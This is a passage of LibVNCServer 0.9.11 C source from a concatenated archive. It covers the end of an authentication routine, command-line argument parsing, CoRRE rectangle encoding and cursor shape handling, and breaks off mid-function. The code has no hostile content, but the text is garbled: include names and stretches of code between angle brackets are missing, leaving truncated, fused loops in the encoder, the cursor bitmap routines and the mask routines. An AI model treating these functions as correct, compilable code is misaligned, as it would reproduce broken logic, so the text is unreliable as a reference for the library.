rfbCloseClient(cl); return; } authResult = Swap32IfLE(rfbVncAuthOK); if (rfbWriteExact(cl, (char *)&authResult, 4) < 0) { rfbLogPerror("rfbAuthProcessClientMessage: write"); rfbCloseClient(cl); return; } cl->state = RFB_INITIALISATION; } libvncserver-LibVNCServer-0.9.11/libvncserver/cargs.c000066400000000000000000000223651303145525000225250ustar00rootroot00000000000000/* * This parses the command line arguments. It was separated from main.c by * Justin Dearing . */ /* * LibVNCServer (C) 2001 Johannes E. Schindelin * Original OSXvnc (C) 2001 Dan McGuirk . * Original Xvnc (C) 1999 AT&T Laboratories Cambridge. * All Rights Reserved. * * see GPL (latest version) for full details */ #include extern int rfbStringToAddr(char *str, in_addr_t *iface); void rfbUsage(void) { rfbProtocolExtension* extension; fprintf(stderr, "-rfbport port TCP port for RFB protocol\n"); #ifdef LIBVNCSERVER_IPv6 fprintf(stderr, "-rfbportv6 port TCP6 port for RFB protocol\n"); #endif fprintf(stderr, "-rfbwait time max time in ms to wait for RFB client\n"); fprintf(stderr, "-rfbauth passwd-file use authentication on RFB protocol\n" " (use 'storepasswd' to create a password file)\n"); fprintf(stderr, "-rfbversion 3.x Set the version of the RFB we choose to advertise\n"); fprintf(stderr, "-permitfiletransfer permit file transfer support\n"); fprintf(stderr, "-passwd plain-password use authentication \n" " (use plain-password as password, USE AT YOUR RISK)\n"); fprintf(stderr, "-deferupdate time time in ms to defer updates " "(default 40)\n"); fprintf(stderr, "-deferptrupdate time time in ms to defer pointer updates" " (default none)\n"); fprintf(stderr, "-desktop name VNC desktop name (default \"LibVNCServer\")\n"); fprintf(stderr, "-alwaysshared always treat new clients as shared\n"); fprintf(stderr, "-nevershared never treat new clients as shared\n"); fprintf(stderr, "-dontdisconnect don't disconnect existing clients when a " "new non-shared\n" " connection comes in (refuse new connection " "instead)\n"); fprintf(stderr, "-httpdir dir-path enable http server using dir-path home\n"); fprintf(stderr, "-httpport portnum use portnum for http connection\n"); #ifdef LIBVNCSERVER_IPv6 fprintf(stderr, "-httpportv6 portnum use portnum for IPv6 http connection\n"); #endif fprintf(stderr, "-enablehttpproxy enable http proxy support\n"); fprintf(stderr, "-progressive height enable progressive updating for slow links\n"); fprintf(stderr, "-listen ipaddr listen for connections only on network interface with\n"); fprintf(stderr, " addr ipaddr. '-listen localhost' and hostname work too.\n"); #ifdef LIBVNCSERVER_IPv6 fprintf(stderr, "-listenv6 ipv6addr listen for IPv6 connections only on network interface with\n"); fprintf(stderr, " addr ipv6addr. '-listen localhost' and hostname work too.\n"); #endif for(extension=rfbGetExtensionIterator();extension;extension=extension->next) if(extension->usage) extension->usage(); rfbReleaseExtensionIterator(); } /* purges COUNT arguments from ARGV at POSITION and decrements ARGC. POSITION points to the first non purged argument afterwards. */ void rfbPurgeArguments(int* argc,int* position,int count,char *argv[]) { int amount=(*argc)-(*position)-count; if(amount) memmove(argv+(*position),argv+(*position)+count,sizeof(char*)*amount); (*argc)-=count; } rfbBool rfbProcessArguments(rfbScreenInfoPtr rfbScreen,int* argc, char *argv[]) { int i,i1; if(!argc) return TRUE; for (i = i1 = 1; i < *argc;) { if (strcmp(argv[i], "-help") == 0) { rfbUsage(); return FALSE; } else if (strcmp(argv[i], "-rfbport") == 0) { /* -rfbport port */ if (i + 1 >= *argc) { rfbUsage(); return FALSE; } rfbScreen->port = atoi(argv[++i]); #ifdef LIBVNCSERVER_IPv6 } else if (strcmp(argv[i], "-rfbportv6") == 0) { /* -rfbportv6 port */ if (i + 1 >= *argc) { rfbUsage(); return FALSE; } rfbScreen->ipv6port = atoi(argv[++i]); #endif } else if (strcmp(argv[i], "-rfbwait") == 0) { /* -rfbwait ms */ if (i + 1 >= *argc) { rfbUsage(); return FALSE; } rfbScreen->maxClientWait = atoi(argv[++i]); } else if (strcmp(argv[i], "-rfbauth") == 0) { /* -rfbauth passwd-file */ if (i + 1 >= *argc) { rfbUsage(); return FALSE; } rfbScreen->authPasswdData = argv[++i]; } else if (strcmp(argv[i], "-permitfiletransfer") == 0) { /* -permitfiletransfer */ rfbScreen->permitFileTransfer = TRUE; } else if (strcmp(argv[i], "-rfbversion") == 0) { /* -rfbversion 3.6 */ if (i + 1 >= *argc) { rfbUsage(); return FALSE; } sscanf(argv[++i],"%d.%d", &rfbScreen->protocolMajorVersion, &rfbScreen->protocolMinorVersion); } else if (strcmp(argv[i], "-passwd") == 0) { /* -passwd password */ char **passwds = malloc(sizeof(char**)*2); if (i + 1 >= *argc) { rfbUsage(); return FALSE; } passwds[0] = argv[++i]; passwds[1] = NULL; rfbScreen->authPasswdData = (void*)passwds; rfbScreen->passwordCheck = rfbCheckPasswordByList; } else if (strcmp(argv[i], "-deferupdate") == 0) { /* -deferupdate milliseconds */ if (i + 1 >= *argc) { rfbUsage(); return FALSE; } rfbScreen->deferUpdateTime = atoi(argv[++i]); } else if (strcmp(argv[i], "-deferptrupdate") == 0) { /* -deferptrupdate milliseconds */ if (i + 1 >= *argc) { rfbUsage(); return FALSE; } rfbScreen->deferPtrUpdateTime = atoi(argv[++i]); } else if (strcmp(argv[i], "-desktop") == 0) { /* -desktop desktop-name */ if (i + 1 >= *argc) { rfbUsage(); return FALSE; } rfbScreen->desktopName = argv[++i]; } else if (strcmp(argv[i], "-alwaysshared") == 0) { rfbScreen->alwaysShared = TRUE; } else if (strcmp(argv[i], "-nevershared") == 0) { rfbScreen->neverShared = TRUE; } else if (strcmp(argv[i], "-dontdisconnect") == 0) { rfbScreen->dontDisconnect = TRUE; } else if (strcmp(argv[i], "-httpdir") == 0) { /* -httpdir directory-path */ if (i + 1 >= *argc) { rfbUsage(); return FALSE; } rfbScreen->httpDir = argv[++i]; } else if (strcmp(argv[i], "-httpport") == 0) { /* -httpport portnum */ if (i + 1 >= *argc) { rfbUsage(); return FALSE; } rfbScreen->httpPort = atoi(argv[++i]); #ifdef LIBVNCSERVER_IPv6 } else if (strcmp(argv[i], "-httpportv6") == 0) { /* -httpportv6 portnum */ if (i + 1 >= *argc) { rfbUsage(); return FALSE; } rfbScreen->http6Port = atoi(argv[++i]); #endif } else if (strcmp(argv[i], "-enablehttpproxy") == 0) { rfbScreen->httpEnableProxyConnect = TRUE; } else if (strcmp(argv[i], "-progressive") == 0) { /* -httpport portnum */ if (i + 1 >= *argc) { rfbUsage(); return FALSE; } rfbScreen->progressiveSliceHeight = atoi(argv[++i]); } else if (strcmp(argv[i], "-listen") == 0) { /* -listen ipaddr */ if (i + 1 >= *argc) { rfbUsage(); return FALSE; } if (! rfbStringToAddr(argv[++i], &(rfbScreen->listenInterface))) { return FALSE; } #ifdef LIBVNCSERVER_IPv6 } else if (strcmp(argv[i], "-listenv6") == 0) { /* -listenv6 ipv6addr */ if (i + 1 >= *argc) { rfbUsage(); return FALSE; } rfbScreen->listen6Interface = argv[++i]; #endif #ifdef LIBVNCSERVER_WITH_WEBSOCKETS } else if (strcmp(argv[i], "-sslkeyfile") == 0) { /* -sslkeyfile sslkeyfile */ if (i + 1 >= *argc) { rfbUsage(); return FALSE; } rfbScreen->sslkeyfile = argv[++i]; } else if (strcmp(argv[i], "-sslcertfile") == 0) { /* -sslcertfile sslcertfile */ if (i + 1 >= *argc) { rfbUsage(); return FALSE; } rfbScreen->sslcertfile = argv[++i]; #endif } else { rfbProtocolExtension* extension; int handled=0; for(extension=rfbGetExtensionIterator();handled==0 && extension; extension=extension->next) if(extension->processArgument) handled = extension->processArgument(*argc - i, argv + i); rfbReleaseExtensionIterator(); if(handled==0) { i++; i1=i; continue; } i+=handled-1; } /* we just remove the processed arguments from the list */ rfbPurgeArguments(argc,&i1,i-i1+1,argv); i=i1; } return TRUE; } rfbBool rfbProcessSizeArguments(int* width,int* height,int* bpp,int* argc, char *argv[]) { int i,i1; if(!argc) return TRUE; for (i = i1 = 1; i < *argc-1;) { if (strcmp(argv[i], "-bpp") == 0) { *bpp = atoi(argv[++i]); } else if (strcmp(argv[i], "-width") == 0) { *width = atoi(argv[++i]); } else if (strcmp(argv[i], "-height") == 0) { *height = atoi(argv[++i]); } else { i++; i1=i; continue; } rfbPurgeArguments(argc,&i1,i-i1,argv); i=i1; } return TRUE; } libvncserver-LibVNCServer-0.9.11/libvncserver/corre.c000066400000000000000000000344621303145525000225410ustar00rootroot00000000000000/* * corre.c * * Routines to implement Compact Rise-and-Run-length Encoding (CoRRE). This * code is based on krw's original javatel rfbserver. */ /* * Copyright (C) 2002 RealVNC Ltd. * OSXvnc Copyright (C) 2001 Dan McGuirk . * Original Xvnc code Copyright (C) 1999 AT&T Laboratories Cambridge. * All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #include /* * cl->beforeEncBuf contains pixel data in the client's format. * cl->afterEncBuf contains the RRE encoded version. If the RRE encoded version is * larger than the raw data or if it exceeds cl->afterEncBufSize then * raw encoding is used instead. */ static int subrectEncode8(rfbClientPtr cl, uint8_t *data, int w, int h); static int subrectEncode16(rfbClientPtr cl, uint16_t *data, int w, int h); static int subrectEncode32(rfbClientPtr cl, uint32_t *data, int w, int h); static uint32_t getBgColour(char *data, int size, int bpp); static rfbBool rfbSendSmallRectEncodingCoRRE(rfbClientPtr cl, int x, int y, int w, int h); /* * rfbSendRectEncodingCoRRE - send an arbitrary size rectangle using CoRRE * encoding. */ rfbBool rfbSendRectEncodingCoRRE(rfbClientPtr cl, int x, int y, int w, int h) { if (h > cl->correMaxHeight) { return (rfbSendRectEncodingCoRRE(cl, x, y, w, cl->correMaxHeight) && rfbSendRectEncodingCoRRE(cl, x, y + cl->correMaxHeight, w, h - cl->correMaxHeight)); } if (w > cl->correMaxWidth) { return (rfbSendRectEncodingCoRRE(cl, x, y, cl->correMaxWidth, h) && rfbSendRectEncodingCoRRE(cl, x + cl->correMaxWidth, y, w - cl->correMaxWidth, h)); } rfbSendSmallRectEncodingCoRRE(cl, x, y, w, h); return TRUE; } /* * rfbSendSmallRectEncodingCoRRE - send a small (guaranteed < 256x256) * rectangle using CoRRE encoding. */ static rfbBool rfbSendSmallRectEncodingCoRRE(rfbClientPtr cl, int x, int y, int w, int h) { rfbFramebufferUpdateRectHeader rect; rfbRREHeader hdr; int nSubrects; int i; char *fbptr = (cl->scaledScreen->frameBuffer + (cl->scaledScreen->paddedWidthInBytes * y) + (x * (cl->scaledScreen->bitsPerPixel / 8))); int maxRawSize = (cl->scaledScreen->width * cl->scaledScreen->height * (cl->format.bitsPerPixel / 8)); if (cl->beforeEncBufSize < maxRawSize) { cl->beforeEncBufSize = maxRawSize; if (cl->beforeEncBuf == NULL) cl->beforeEncBuf = (char *)malloc(cl->beforeEncBufSize); else cl->beforeEncBuf = (char *)realloc(cl->beforeEncBuf, cl->beforeEncBufSize); } if (cl->afterEncBufSize < maxRawSize) { cl->afterEncBufSize = maxRawSize; if (cl->afterEncBuf == NULL) cl->afterEncBuf = (char *)malloc(cl->afterEncBufSize); else cl->afterEncBuf = (char *)realloc(cl->afterEncBuf, cl->afterEncBufSize); } (*cl->translateFn)(cl->translateLookupTable,&(cl->screen->serverFormat), &cl->format, fbptr, cl->beforeEncBuf, cl->scaledScreen->paddedWidthInBytes, w, h); switch (cl->format.bitsPerPixel) { case 8: nSubrects = subrectEncode8(cl, (uint8_t *)cl->beforeEncBuf, w, h); break; case 16: nSubrects = subrectEncode16(cl, (uint16_t *)cl->beforeEncBuf, w, h); break; case 32: nSubrects = subrectEncode32(cl, (uint32_t *)cl->beforeEncBuf, w, h); break; default: rfbLog("getBgColour: bpp %d?\n",cl->format.bitsPerPixel); return FALSE; } if (nSubrects < 0) { /* RRE encoding was too large, use raw */ return rfbSendRectEncodingRaw(cl, x, y, w, h); } rfbStatRecordEncodingSent(cl,rfbEncodingCoRRE, sz_rfbFramebufferUpdateRectHeader + sz_rfbRREHeader + cl->afterEncBufLen, sz_rfbFramebufferUpdateRectHeader + w * h * (cl->format.bitsPerPixel / 8)); if (cl->ublen + sz_rfbFramebufferUpdateRectHeader + sz_rfbRREHeader > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.r.x = Swap16IfLE(x); rect.r.y = Swap16IfLE(y); rect.r.w = Swap16IfLE(w); rect.r.h = Swap16IfLE(h); rect.encoding = Swap32IfLE(rfbEncodingCoRRE); memcpy(&cl->updateBuf[cl->ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; hdr.nSubrects = Swap32IfLE(nSubrects); memcpy(&cl->updateBuf[cl->ublen], (char *)&hdr, sz_rfbRREHeader); cl->ublen += sz_rfbRREHeader; for (i = 0; i < cl->afterEncBufLen;) { int bytesToCopy = UPDATE_BUF_SIZE - cl->ublen; if (i + bytesToCopy > cl->afterEncBufLen) { bytesToCopy = cl->afterEncBufLen - i; } memcpy(&cl->updateBuf[cl->ublen], &cl->afterEncBuf[i], bytesToCopy); cl->ublen += bytesToCopy; i += bytesToCopy; if (cl->ublen == UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } } return TRUE; } /* * subrectEncode() encodes the given multicoloured rectangle as a background * colour overwritten by single-coloured rectangles. It returns the number * of subrectangles in the encoded buffer, or -1 if subrect encoding won't * fit in the buffer. It puts the encoded rectangles in cl->afterEncBuf. The * single-colour rectangle partition is not optimal, but does find the biggest * horizontal or vertical rectangle top-left anchored to each consecutive * coordinate position. * * The coding scheme is simply [...] where each * is []. */ #define DEFINE_SUBRECT_ENCODE(bpp) \ static int \ subrectEncode##bpp(rfbClientPtr client, uint##bpp##_t *data, int w, int h) { \ uint##bpp##_t cl; \ rfbCoRRERectangle subrect; \ int x,y; \ int i,j; \ int hx=0,hy,vx=0,vy; \ int hyflag; \ uint##bpp##_t *seg; \ uint##bpp##_t *line; \ int hw,hh,vw,vh; \ int thex,they,thew,theh; \ int numsubs = 0; \ int newLen; \ uint##bpp##_t bg = (uint##bpp##_t)getBgColour((char*)data,w*h,bpp); \ \ *((uint##bpp##_t*)client->afterEncBuf) = bg; \ \ client->afterEncBufLen = (bpp/8); \ \ for (y=0; y 0) && (i >= hx)) {hy += 1;} else {hyflag = 0;} \ } \ vy = j-1; \ \ /* We now have two possible subrects: (x,y,hx,hy) and (x,y,vx,vy) \ * We'll choose the bigger of the two. \ */ \ hw = hx-x+1; \ hh = hy-y+1; \ vw = vx-x+1; \ vh = vy-y+1; \ \ thex = x; \ they = y; \ \ if ((hw*hh) > (vw*vh)) { \ thew = hw; \ theh = hh; \ } else { \ thew = vw; \ theh = vh; \ } \ \ subrect.x = thex; \ subrect.y = they; \ subrect.w = thew; \ subrect.h = theh; \ \ newLen = client->afterEncBufLen + (bpp/8) + sz_rfbCoRRERectangle; \ if ((newLen > (w * h * (bpp/8))) || (newLen > client->afterEncBufSize)) \ return -1; \ \ numsubs += 1; \ *((uint##bpp##_t*)(client->afterEncBuf + client->afterEncBufLen)) = cl; \ client->afterEncBufLen += (bpp/8); \ memcpy(&client->afterEncBuf[client->afterEncBufLen],&subrect,sz_rfbCoRRERectangle); \ client->afterEncBufLen += sz_rfbCoRRERectangle; \ \ /* \ * Now mark the subrect as done. \ */ \ for (j=they; j < (they+theh); j++) { \ for (i=thex; i < (thex+thew); i++) { \ data[j*w+i] = bg; \ } \ } \ } \ } \ } \ \ return numsubs; \ } DEFINE_SUBRECT_ENCODE(8) DEFINE_SUBRECT_ENCODE(16) DEFINE_SUBRECT_ENCODE(32) /* * getBgColour() gets the most prevalent colour in a byte array. */ static uint32_t getBgColour(char *data, int size, int bpp) { #define NUMCLRS 256 static int counts[NUMCLRS]; int i,j,k; int maxcount = 0; uint8_t maxclr = 0; if (bpp != 8) { if (bpp == 16) { return ((uint16_t *)data)[0]; } else if (bpp == 32) { return ((uint32_t *)data)[0]; } else { rfbLog("getBgColour: bpp %d?\n",bpp); return 0; } } for (i=0; i= NUMCLRS) { rfbLog("getBgColour: unusual colour = %d\n", k); return 0; } counts[k] += 1; if (counts[k] > maxcount) { maxcount = counts[k]; maxclr = ((uint8_t *)data)[j]; } } return maxclr; } libvncserver-LibVNCServer-0.9.11/libvncserver/cursor.c000066400000000000000000000532531303145525000227430ustar00rootroot00000000000000/* * cursor.c - support for cursor shape updates. */ /* * Copyright (C) 2000, 2001 Const Kaplinsky. All Rights Reserved. * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. * * This is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation; either version 2 of the License, or * (at your option) any later version. * * This software is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this software; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, * USA. */ #include #include #include "private.h" void rfbScaledScreenUpdate(rfbScreenInfoPtr screen, int x1, int y1, int x2, int y2); /* * Send cursor shape either in X-style format or in client pixel format. */ rfbBool rfbSendCursorShape(rfbClientPtr cl) { rfbCursorPtr pCursor; rfbFramebufferUpdateRectHeader rect; rfbXCursorColors colors; int saved_ublen; int bitmapRowBytes, maskBytes, dataBytes; int i, j; uint8_t *bitmapData; uint8_t bitmapByte; /* TODO: scale the cursor data to the correct size */ pCursor = cl->screen->getCursorPtr(cl); /*if(!pCursor) return TRUE;*/ if (cl->useRichCursorEncoding) { if(pCursor && !pCursor->richSource) rfbMakeRichCursorFromXCursor(cl->screen,pCursor); rect.encoding = Swap32IfLE(rfbEncodingRichCursor); } else { if(pCursor && !pCursor->source) rfbMakeXCursorFromRichCursor(cl->screen,pCursor); rect.encoding = Swap32IfLE(rfbEncodingXCursor); } /* If there is no cursor, send update with empty cursor data. */ if ( pCursor && pCursor->width == 1 && pCursor->height == 1 && pCursor->mask[0] == 0 ) { pCursor = NULL; } if (pCursor == NULL) { if (cl->ublen + sz_rfbFramebufferUpdateRectHeader > UPDATE_BUF_SIZE ) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.r.x = rect.r.y = 0; rect.r.w = rect.r.h = 0; memcpy(&cl->updateBuf[cl->ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; if (!rfbSendUpdateBuf(cl)) return FALSE; return TRUE; } /* Calculate data sizes. */ bitmapRowBytes = (pCursor->width + 7) / 8; maskBytes = bitmapRowBytes * pCursor->height; dataBytes = (cl->useRichCursorEncoding) ? (pCursor->width * pCursor->height * (cl->format.bitsPerPixel / 8)) : maskBytes; /* Send buffer contents if needed. */ if ( cl->ublen + sz_rfbFramebufferUpdateRectHeader + sz_rfbXCursorColors + maskBytes + dataBytes > UPDATE_BUF_SIZE ) { if (!rfbSendUpdateBuf(cl)) return FALSE; } if ( cl->ublen + sz_rfbFramebufferUpdateRectHeader + sz_rfbXCursorColors + maskBytes + dataBytes > UPDATE_BUF_SIZE ) { return FALSE; /* FIXME. */ } saved_ublen = cl->ublen; /* Prepare rectangle header. */ rect.r.x = Swap16IfLE(pCursor->xhot); rect.r.y = Swap16IfLE(pCursor->yhot); rect.r.w = Swap16IfLE(pCursor->width); rect.r.h = Swap16IfLE(pCursor->height); memcpy(&cl->updateBuf[cl->ublen], (char *)&rect,sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; /* Prepare actual cursor data (depends on encoding used). */ if (!cl->useRichCursorEncoding) { /* XCursor encoding. */ colors.foreRed = (char)(pCursor->foreRed >> 8); colors.foreGreen = (char)(pCursor->foreGreen >> 8); colors.foreBlue = (char)(pCursor->foreBlue >> 8); colors.backRed = (char)(pCursor->backRed >> 8); colors.backGreen = (char)(pCursor->backGreen >> 8); colors.backBlue = (char)(pCursor->backBlue >> 8); memcpy(&cl->updateBuf[cl->ublen], (char *)&colors, sz_rfbXCursorColors); cl->ublen += sz_rfbXCursorColors; bitmapData = (uint8_t *)pCursor->source; for (i = 0; i < pCursor->height; i++) { for (j = 0; j < bitmapRowBytes; j++) { bitmapByte = bitmapData[i * bitmapRowBytes + j]; cl->updateBuf[cl->ublen++] = (char)bitmapByte; } } } else { /* RichCursor encoding. */ int bpp1=cl->screen->serverFormat.bitsPerPixel/8, bpp2=cl->format.bitsPerPixel/8; (*cl->translateFn)(cl->translateLookupTable, &(cl->screen->serverFormat), &cl->format, (char*)pCursor->richSource, &cl->updateBuf[cl->ublen], pCursor->width*bpp1, pCursor->width, pCursor->height); cl->ublen += pCursor->width*bpp2*pCursor->height; } /* Prepare transparency mask. */ bitmapData = (uint8_t *)pCursor->mask; for (i = 0; i < pCursor->height; i++) { for (j = 0; j < bitmapRowBytes; j++) { bitmapByte = bitmapData[i * bitmapRowBytes + j]; cl->updateBuf[cl->ublen++] = (char)bitmapByte; } } /* Send everything we have prepared in the cl->updateBuf[]. */ rfbStatRecordEncodingSent(cl, (cl->useRichCursorEncoding ? rfbEncodingRichCursor : rfbEncodingXCursor), sz_rfbFramebufferUpdateRectHeader + (cl->ublen - saved_ublen), sz_rfbFramebufferUpdateRectHeader + (cl->ublen - saved_ublen)); if (!rfbSendUpdateBuf(cl)) return FALSE; return TRUE; } /* * Send cursor position (PointerPos pseudo-encoding). */ rfbBool rfbSendCursorPos(rfbClientPtr cl) { rfbFramebufferUpdateRectHeader rect; if (cl->ublen + sz_rfbFramebufferUpdateRectHeader > UPDATE_BUF_SIZE) { if (!rfbSendUpdateBuf(cl)) return FALSE; } rect.encoding = Swap32IfLE(rfbEncodingPointerPos); rect.r.x = Swap16IfLE(cl->screen->cursorX); rect.r.y = Swap16IfLE(cl->screen->cursorY); rect.r.w = 0; rect.r.h = 0; memcpy(&cl->updateBuf[cl->ublen], (char *)&rect, sz_rfbFramebufferUpdateRectHeader); cl->ublen += sz_rfbFramebufferUpdateRectHeader; rfbStatRecordEncodingSent(cl, rfbEncodingPointerPos, sz_rfbFramebufferUpdateRectHeader, sz_rfbFramebufferUpdateRectHeader); if (!rfbSendUpdateBuf(cl)) return FALSE; return TRUE; } /* conversion routine for predefined cursors in LSB order */ unsigned char rfbReverseByte[0x100] = { /* copied from Xvnc/lib/font/util/utilbitmap.c */ 0x00, 0x80, 0x40, 0xc0, 0x20, 0xa0, 0x60, 0xe0, 0x10, 0x90, 0x50, 0xd0, 0x30, 0xb0, 0x70, 0xf0, 0x08, 0x88, 0x48, 0xc8, 0x28, 0xa8, 0x68, 0xe8, 0x18, 0x98, 0x58, 0xd8, 0x38, 0xb8, 0x78, 0xf8, 0x04, 0x84, 0x44, 0xc4, 0x24, 0xa4, 0x64, 0xe4, 0x14, 0x94, 0x54, 0xd4, 0x34, 0xb4, 0x74, 0xf4, 0x0c, 0x8c, 0x4c, 0xcc, 0x2c, 0xac, 0x6c, 0xec, 0x1c, 0x9c, 0x5c, 0xdc, 0x3c, 0xbc, 0x7c, 0xfc, 0x02, 0x82, 0x42, 0xc2, 0x22, 0xa2, 0x62, 0xe2, 0x12, 0x92, 0x52, 0xd2, 0x32, 0xb2, 0x72, 0xf2, 0x0a, 0x8a, 0x4a, 0xca, 0x2a, 0xaa, 0x6a, 0xea, 0x1a, 0x9a, 0x5a, 0xda, 0x3a, 0xba, 0x7a, 0xfa, 0x06, 0x86, 0x46, 0xc6, 0x26, 0xa6, 0x66, 0xe6, 0x16, 0x96, 0x56, 0xd6, 0x36, 0xb6, 0x76, 0xf6, 0x0e, 0x8e, 0x4e, 0xce, 0x2e, 0xae, 0x6e, 0xee, 0x1e, 0x9e, 0x5e, 0xde, 0x3e, 0xbe, 0x7e, 0xfe, 0x01, 0x81, 0x41, 0xc1, 0x21, 0xa1, 0x61, 0xe1, 0x11, 0x91, 0x51, 0xd1, 0x31, 0xb1, 0x71, 0xf1, 0x09, 0x89, 0x49, 0xc9, 0x29, 0xa9, 0x69, 0xe9, 0x19, 0x99, 0x59, 0xd9, 0x39, 0xb9, 0x79, 0xf9, 0x05, 0x85, 0x45, 0xc5, 0x25, 0xa5, 0x65, 0xe5, 0x15, 0x95, 0x55, 0xd5, 0x35, 0xb5, 0x75, 0xf5, 0x0d, 0x8d, 0x4d, 0xcd, 0x2d, 0xad, 0x6d, 0xed, 0x1d, 0x9d, 0x5d, 0xdd, 0x3d, 0xbd, 0x7d, 0xfd, 0x03, 0x83, 0x43, 0xc3, 0x23, 0xa3, 0x63, 0xe3, 0x13, 0x93, 0x53, 0xd3, 0x33, 0xb3, 0x73, 0xf3, 0x0b, 0x8b, 0x4b, 0xcb, 0x2b, 0xab, 0x6b, 0xeb, 0x1b, 0x9b, 0x5b, 0xdb, 0x3b, 0xbb, 0x7b, 0xfb, 0x07, 0x87, 0x47, 0xc7, 0x27, 0xa7, 0x67, 0xe7, 0x17, 0x97, 0x57, 0xd7, 0x37, 0xb7, 0x77, 0xf7, 0x0f, 0x8f, 0x4f, 0xcf, 0x2f, 0xaf, 0x6f, 0xef, 0x1f, 0x9f, 0x5f, 0xdf, 0x3f, 0xbf, 0x7f, 0xff }; void rfbConvertLSBCursorBitmapOrMask(int width,int height,unsigned char* bitmap) { int i,t=(width+7)/8*height; for(i=0;icleanup=TRUE; cursor->width=width; cursor->height=height; /*cursor->backRed=cursor->backGreen=cursor->backBlue=0xffff;*/ cursor->foreRed=cursor->foreGreen=cursor->foreBlue=0xffff; cursor->source = (unsigned char*)calloc(w,height); cursor->cleanupSource = TRUE; for(j=0,cp=cursorString;j>1,cp++) if(*cp!=' ') cursor->source[j*w+i/8]|=bit; if(maskString) { cursor->mask = (unsigned char*)calloc(w,height); for(j=0,cp=maskString;j>1,cp++) if(*cp!=' ') cursor->mask[j*w+i/8]|=bit; } else cursor->mask = (unsigned char*)rfbMakeMaskForXCursor(width,height,(char*)cursor->source); cursor->cleanupMask = TRUE; return(cursor); } char* rfbMakeMaskForXCursor(int width,int height,char* source) { int i,j,w=(width+7)/8; char* mask=(char*)calloc(w,height); unsigned char c; for(j=0;j=0;i--) { c=source[j*w+i]; if(j>0) c|=source[(j-1)*w+i]; if(j0 && (c&0x80)) mask[j*w+i-1]|=0x01; if(i>1); } return(mask); } /* this function dithers the alpha using Floyd-Steinberg */ char* rfbMakeMaskFromAlphaSource(int width,int height,unsigned char* alphaSource) { int* error=(int*)calloc(sizeof(int),width); int i,j,currentError=0,maskStride=(width+7)/8; unsigned char* result=(unsigned char*)calloc(maskStride,height); for(j=0;j>(i&7)); /* alpha was treated as 0xff */ currentError-=0xff; } /* propagate to next row */ right=currentError/16; middle=currentError*5/16; left=currentError*3/16; currentError-=right+middle+left; error[i]=right; if(i>0) { error[i-1]=middle; if(i>1) error[i-2]=left; } } free(error); return (char *) result; } void rfbFreeCursor(rfbCursorPtr cursor) { if(cursor) { if(cursor->cleanupRichSource && cursor->richSource) free(cursor->richSource); if(cursor->cleanupRichSource && cursor->alphaSource) free(cursor->alphaSource); if(cursor->cleanupSource && cursor->source) free(cursor->source); if(cursor->cleanupMask && cursor->mask) free(cursor->mask); if(cursor->cleanup) free(cursor); else { cursor->cleanup=cursor->cleanupSource=cursor->cleanupMask =cursor->cleanupRichSource=FALSE; cursor->source=cursor->mask=cursor->richSource=NULL; cursor->alphaSource=NULL; } } } /* background and foregroud colour have to be set beforehand */ void rfbMakeXCursorFromRichCursor(rfbScreenInfoPtr rfbScreen,rfbCursorPtr cursor) { rfbPixelFormat* format=&rfbScreen->serverFormat; int i,j,w=(cursor->width+7)/8,bpp=format->bitsPerPixel/8, width=cursor->width*bpp; uint32_t background; char *back=(char*)&background; unsigned char bit; int interp = 0, db = 0; if(cursor->source && cursor->cleanupSource) free(cursor->source); cursor->source=(unsigned char*)calloc(w,cursor->height); cursor->cleanupSource=TRUE; if(format->bigEndian) { back+=4-bpp; } /* all zeros means we should interpolate to black+white ourselves */ if (!cursor->backRed && !cursor->backGreen && !cursor->backBlue && !cursor->foreRed && !cursor->foreGreen && !cursor->foreBlue) { if (format->trueColour && (bpp == 1 || bpp == 2 || bpp == 4)) { interp = 1; cursor->foreRed = cursor->foreGreen = cursor->foreBlue = 0xffff; } } background = ((format->redMax * cursor->backRed) / 0xffff) << format->redShift | ((format->greenMax * cursor->backGreen) / 0xffff) << format->greenShift | ((format->blueMax * cursor->backBlue) / 0xffff) << format->blueShift; #define SETRGB(u) \ r = (255 * (((format->redMax << format->redShift) & (*u)) >> format->redShift)) / format->redMax; \ g = (255 * (((format->greenMax << format->greenShift) & (*u)) >> format->greenShift)) / format->greenMax; \ b = (255 * (((format->blueMax << format->blueShift) & (*u)) >> format->blueShift)) / format->blueMax; if (db) fprintf(stderr, "interp: %d\n", interp); for(j=0;jheight;j++) { for(i=0,bit=0x80;iwidth;i++,bit=(bit&1)?0x80:bit>>1) { if (interp) { int r = 0, g = 0, b = 0, grey; unsigned char *p = cursor->richSource+j*width+i*bpp; if (bpp == 1) { unsigned char* uc = (unsigned char*) p; SETRGB(uc); } else if (bpp == 2) { unsigned short* us = (unsigned short*) p; SETRGB(us); } else if (bpp == 4) { unsigned int* ui = (unsigned int*) p; SETRGB(ui); } grey = (r + g + b) / 3; if (grey >= 128) { cursor->source[j*w+i/8]|=bit; if (db) fprintf(stderr, "1"); } else { if (db) fprintf(stderr, "0"); } } else if(memcmp(cursor->richSource+j*width+i*bpp, back, bpp)) { cursor->source[j*w+i/8]|=bit; } } if 